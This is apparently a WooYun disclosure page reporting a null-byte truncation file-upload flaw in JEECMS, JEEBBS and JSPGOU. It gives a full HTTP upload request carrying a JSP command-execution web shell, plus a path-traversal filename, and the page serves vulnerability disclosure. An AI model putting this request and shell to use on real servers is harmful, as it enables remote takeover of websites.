当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-078307

漏洞标题:JEECMS|JEEBBS|JSPGOU 前台getshell(高危)

相关厂商:JEECMS

漏洞作者: loopx9

提交时间:2014-10-04 18:15

修复时间:2015-01-02 18:16

公开时间:2015-01-02 18:16

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-04: 细节已通知厂商并且等待厂商处理中
2014-10-09: 厂商已经确认,细节仅向厂商公开
2014-10-12: 细节向第三方安全合作伙伴开放
2014-12-03: 细节向核心白帽子及相关领域专家公开
2014-12-13: 细节向普通白帽子公开
2014-12-23: 细节向实习白帽子公开
2015-01-02: 细节向公众公开

简要描述:

国庆大礼包.

详细说明:

国庆闲来无事,下载jeecms源码来看了下,没想到捡了个漏。
0x1 漏洞分析
com\jeecms\cms\action\member\ImageUploadAct.java,上传请求URL:/member/o_upload_image.jspx

...
@RequestMapping("/member/o_upload_image.jspx")
public String execute(
String filename,
Integer uploadNum,
Boolean mark,
@RequestParam(value = "uploadFile", required = false) MultipartFile file,
HttpServletRequest request, ModelMap model) {
WebCoreErrors errors = validate(filename, file, request); //函数validate检查后缀以及文件头
CmsSite site = CmsUtils.getSite(request);
CmsUser user = CmsUtils.getUser(request);
FrontUtils.frontData(request, model, site);
MemberConfig mcfg = site.getConfig().getMemberConfig();
if (!mcfg.isMemberOn()) {
return FrontUtils.showMessage(request, model, "member.memberClose");
}
if (user == null) {
return FrontUtils.showLogin(request, model, site);
}
if (errors.hasErrors()) {
model.addAttribute(ERROR, errors.getErrors().get(0));
return FrontUtils.getTplPath(request, site.getSolutionPath(),
TPLDIR_MEMBER, RESULT_PAGE);
}
MarkConfig conf = site.getConfig().getMarkConfig();
if (mark == null) {
mark = conf.getOn();
}
String origName = file.getOriginalFilename();
String ext = FilenameUtils.getExtension(origName).toLowerCase(
Locale.ENGLISH);
try {
String fileUrl;
if (site.getConfig().getUploadToDb()) {
....好像是文件存进数据库,这段跳过
}
} else if (site.getUploadFtp() != null) {
.....ftp上传相关,跳过
}
} else {
String ctx = request.getContextPath();
if (!StringUtils.isBlank(filename)) { //filename为表单传进,可控
filename = filename.substring(ctx.length());
if (mark) { //mark 为表单传进,可控
File tempFile = mark(file, conf);
fileUrl = fileRepository.storeByFilename(filename,tempFile);
//调用storeByFilename存储文件,filename可控,第一想到的就是00截断了
tempFile.delete();
} else { //mark 不用赋值也可以,都调用了fileRepository.storeByFilename
fileUrl = fileRepository
.storeByFilename(filename, file);
}
} else { //如果filename为空,则调用fileRepository.storeByExt ,后缀保留,文件重命名
if (mark) {
File tempFile = mark(file, conf);
fileUrl = fileRepository.storeByExt(USER_IMG_PATH, ext, tempFile);
tempFile.delete();
} else {
fileUrl = fileRepository.storeByExt(USER_IMG_PATH, ext, file);
}
// 加上部署路径
fileUrl = ctx + fileUrl;
}
}
model.addAttribute("uploadPath", fileUrl);
model.addAttribute("uploadNum", uploadNum);
} catch (IllegalStateException e) {
model.addAttribute(ERROR, e.getMessage());
log.error("upload file error!", e);
} catch (IOException e) {
model.addAttribute(ERROR, e.getMessage());
log.error("upload file error!", e);
} catch (Exception e) {
model.addAttribute(ERROR, e.getMessage());
log.error("upload file error!", e);
}
return FrontUtils.getTplPath(request, site.getSolutionPath(),
TPLDIR_MEMBER, RESULT_PAGE);
}
...


0x02 绕过检查:
文件头可使用GIF89a绕过,后缀检查部分:
看代码使用org.apache.commons.io.FilenameUtils.getExtension获取后缀,跟进getExtension方法,发现调用indexOfExtension

public static int indexOfExtension(String filename)
{
if (filename == null) {
return -1;
}
int extensionPos = filename.lastIndexOf('.'); //可以看出获取后缀的方式是截取最后一个点号的部分,那么如果filename为1.jsp%00.jpg ,就能bypass后缀检查了.
int lastSeparator = indexOfLastSeparator(filename);
return lastSeparator > extensionPos ? -1 : extensionPos;
}

fileRepository.storeByFilename最终调用org.apache.commons.io.FileUtils.copyFile导致截断,与php copy函数类似,截断貌似发生在系统层面
同样存在问题的还有一处:com\jeecms\cms\action\member\ContributeAct.java,上传请求URL:/member/o_upload_media.jspx

media.png

此处可利用截断上传任意文件.
JSPGOU也存在相同问题:

jspgou.png

漏洞证明:

(以bbs.jeecms.com为例)
tips:由于jsp、jspx后缀都被web.xml中的配置过滤了,即便上传jsp也不能解析,官网使用tomcat容器,项目部署在webapps/ROOT下
所以只能利用上传跳到上一级目录,也就是webapps下,这样jsp才能成功解析,上传过程会自动创建目录,方便快捷.
注册用户,上传头像抓包

POST /member/o_upload_image.jspx HTTP/1.1
Host: bbs.jeecms.com
Proxy-Connection: keep-alive
Content-Length: 937
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://bbs.jeecms.com
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.103 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPmHBUvQPGQdo2rN3
Referer: http://demo.jeecms.com/member/contribute_add.jspx
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.8,ko;q=0.6
Cookie: JSESSIONID=DD2D9328CB2B7B282A1B8EB8DDD82C03; JSESSIONID=D504FA6E4E72497B7BAF703873EFC1F5; clientlanguage=zh_CN; CNZZDATA1097297=cnzz_eid%3D1834197461-1412397667-http%253A%252F%252Fjeecms.com%252F%26ntime%3D1412404613
------WebKitFormBoundaryPmHBUvQPGQdo2rN3
Content-Disposition: form-data; name="uploadFile"; filename="1.jpg"
Content-Type: image/jpeg
GIF89a<FORM METHOD=GET ACTION="">
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre>
<%=output %>
</pre>
------WebKitFormBoundaryPmHBUvQPGQdo2rN3
Content-Disposition: form-data; name="filename"
../.test/p.jsp .jpg //跳出项目目录,空格为0x00
------WebKitFormBoundaryPmHBUvQPGQdo2rN3--

00.png


http://bbs.jeecms.com/.test/p.jsp?cmd=id
http://demo.jeecms.com/.test/p.jsp(PermGen space不够了)

cmd.png


PS:除此之外,还可以上传web.xml覆盖,或是上传class覆盖,因为可能需要重启web容器,暂不采用.各位大神还有什么猥琐的利用方式,烦请告之.
总结:
jeecms、jeebbs :
/member/o_upload_media.jspx (低版本的没有)
/member/o_upload_image.jspx
后台:
/common/o_upload_image.do
/content/o_upload_media.do
/plug/o_upload.do
涉及文件:
com\jeecms\cms\action\member\ContributeAct.java
com\jeecms\cms\action\member\ImageUploadAct.java
com\jeecms\cms\action\admin\ImageUploadAct.java
com\jeecms\cms\action\admin\main\ContentAct.java
com\jeecms\cms\action\admin\assist\PlugAct.java
jeegou:
/member/common/o_upload_image.jspx
下载旧版本的jeecms源码看,发现com\jeecms\cms\action\member\ImageUploadAct.java很早就有了,意味着这个洞有一段时间了.
jeecms在国内算是比较流行的java建站系统,政府机构、学校、企业,用户众多,此次漏洞该算是通杀的了,只要开放用户注册,基本就沦陷了.

修复方案:

检查所有涉及上传的操作,禁止拼接路径.

版权声明:转载请注明来源 loopx9@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-10-09 10:36

厂商回复:

感谢对jeecms系列软件提出的bug,我们会以最快的速度修复

最新状态:

暂无


漏洞评价:

评论

  1. 2014-10-04 18:25 | 雷锋 ( 路人 | Rank:12 漏洞数:2 | 承接:钻井,架工,木工,电工,水暖工,力...)

    大礼包...

  2. 2014-10-04 19:09 | MuZhU0 ( 路人 | Rank:6 漏洞数:4 )

    前排

  3. 2014-10-04 19:16 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    礼包

  4. 2014-10-04 20:41 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云,知恩不忘,其实我一直都在乌云默...)

    这么牛B?

  5. 2014-10-04 22:15 | 郭斯特 ( 普通白帽子 | Rank:181 漏洞数:69 | GhostWin)

    我擦。。屌

  6. 2014-10-04 22:22 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    还重新编辑了!!

  7. 2014-10-04 22:43 | 天朝城管 ( 普通白帽子 | Rank:116 漏洞数:35 | 不要等到命玩你的时候才开始玩命)

    前排卖瓜子!

  8. 2014-10-08 20:38 | 贫道来自河北 ( 普通白帽子 | Rank:1395 漏洞数:423 | 一个立志要把乌云集市变成零食店的男人)

    坐等忽略

  9. 2014-10-08 22:23 | loopx9 ( 核心白帽子 | Rank:602 漏洞数:62 | ..)

    @贫道来自河北 都发邮件给他们了,看来是忽略的节奏

  10. 2014-10-08 23:10 | 贫道来自河北 ( 普通白帽子 | Rank:1395 漏洞数:423 | 一个立志要把乌云集市变成零食店的男人)

    @loopx9 这尼玛的厂商,上次发给他们邮件,居然还威胁我要我小心点

  11. 2014-10-09 00:16 | 郭斯特 ( 普通白帽子 | Rank:181 漏洞数:69 | GhostWin)

    @贫道来自河北 那你得小心点了

  12. 2014-10-09 11:34 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸!)

  13. 2014-10-09 12:20 | loopx9 ( 核心白帽子 | Rank:602 漏洞数:62 | ..)

    诶,这不算通用么。。。

  14. 2014-10-24 09:46 | ′ 雨。 ( 普通白帽子 | Rank:1231 漏洞数:190 | Only Code Never Lie To Me.)

    @loopx9 我发现你的洞都没选择通用吧。。 是自己选择的。

  15. 2014-10-24 09:47 | ′ 雨。 ( 普通白帽子 | Rank:1231 漏洞数:190 | Only Code Never Lie To Me.)

    @loopx9 这个选了, 之前的一些没选。

  16. 2014-10-24 09:49 | loopx9 ( 核心白帽子 | Rank:602 漏洞数:62 | ..)

    @′ 雨。 @′king 是你小号?

  17. 2014-10-24 10:17 | ′ 雨。 ( 普通白帽子 | Rank:1231 漏洞数:190 | Only Code Never Lie To Me.)

    @loopx9

  18. 2015-03-10 09:42 | YiYang ( 路人 | Rank:4 漏洞数:1 | 又多了一个兴趣爱好。)

    @loopx9 按这个操作 返回提示 alert('Unexpected block type 69!')是补洞了吗

  19. 2015-09-05 15:44 | icysun ( 实习白帽子 | Rank:31 漏洞数:6 | 求围观)

    @loopx9 我用eclipse debug 什么都对 就是到最后进copy方法 Invalid file path 就报着个异常了,对比了几个版本,楼主这种,,臣妾做不到。对了 如果 在filename传入时 我手动干预 点击 vlues 获取下,他倒是被截断了,求指点。

  20. 2015-09-05 19:06 | loopx9 ( 核心白帽子 | Rank:602 漏洞数:62 | ..)

    @icysun jdk7以后版本已经不能null截断了,路径包含\0直接抛出异常。测试截断的话用1.6版本试试。 (可查看java.io.File类 isInvalid 方法)

  21. 2015-09-05 21:15 | icysun ( 实习白帽子 | Rank:31 漏洞数:6 | 求围观)

    @loopx9 谢大神,就是此原因,我用的1.8。不过eclipse debug有个很有意思的地方误导我很久。就是 变量截取窗口,手动戳filename下,1.8也会截断,不戳不灵,挺有意思。